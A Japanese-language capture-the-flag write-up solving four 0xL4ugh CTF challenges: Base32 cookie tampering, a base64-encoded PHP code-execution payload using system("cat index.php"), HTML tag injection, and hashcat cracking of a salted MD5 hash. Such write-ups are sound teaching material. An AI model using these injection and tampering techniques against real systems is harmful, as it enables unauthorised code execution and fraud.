0xL4ugh CTF: Write up
Web
Cakes Shop
適当にボタンを押してCookieをみるとUserInfo=GMYDAMBQGA%3D%3D%3D%3D%3D%3D
という値が入ってることがわかる。これがBase32なのでflagに値する1000000をbase32でエンコードすればよさそう。
base32でエンコードした結果をCookieに格納してpostするとflagがでてくる。
POST /Cakes/index.php HTTP/1.1 Host: 168.61.100.233 User-Agent: Mozilla/5.0 (Linux; Android 11; Z832 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 40 Origin: http://168.61.100.233 Connection: close Referer: http://168.61.100.233/Cakes/index.php Upgrade-Insecure-Requests: 1 Cookie: UserInfo=GEYDAMBQGAYA==== flag-s=Price+%3A+1000000%24+Click+To+Buy
flag: 0xL4ugh{baSe_32_Cook!es_ArE_FuNny}
Sad_Agent
url=ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107
でPOSTされていてbase64でエンコードされている。
$ echo -n 'ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107' | base64 -d echo $_SERVER['HTTP_USER_AGENT'];
phpのコードをbase64でエンコードすれば任意のコード実行できそう。
$ echo -n 'echo system("cat index.php");' | base64 ZWNobyBzeXN0ZW0oImNhdCBpbmRleC5waHAiKTs=
url=ZWNobyBzeXN0ZW0oImNhdCBpbmRleC5waHAiKTs%3D
でPOSTする。
<?php if (isset($_POST['submit'])) { if ($_SERVER['HTTP_USER_AGENT'] === 'sad') { echo "<center><br>Hi mr sad Do you know i'm lonly<br></center>"; } else { echo "<center><br><h4>You are not member in sad world you should be sad</h4></center>"; } } //$flag = "0xL4ugh{S@dC0d3r_M3mbe3r_1n_0xL4ugh_&_sad_W0rld}" ?>
EasyLogin
/EasyBlog.php
で投稿ができるようになっているがここにhtmlインジェクションができる脆弱性がある。
name=test&title=test&mail=test%40test.com&gander=male&blogBody=<s>test</s>
でPOSTしてみると
<s>
タグが効いてることがわかる。
そしてソースコードに
<!-- Hint: Inject An HTML Tag And Give Him The ID flagHunt -->
と書いてあるのでhtmlタグでidにflagHunt
を指定すればいいっぽい。
<a id=flagHunt >
をinjectionすると
flag: 0xL4ugh{N0_Syst3m_1s_S@f3_3v3n_Y0u}
Programming
Hashem
$ cat hash.txt bd737ce0d884c0dd54adf35fdb794b60:mmal7
$ hashcat -m 20 hash.txt /usr/share/wordlists/rockyou.txt hashcat (v6.1.1) starting... Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 bd737ce0d884c0dd54adf35fdb794b60:mmal7:laugh
flag: 0xL4ugh{1_laugh}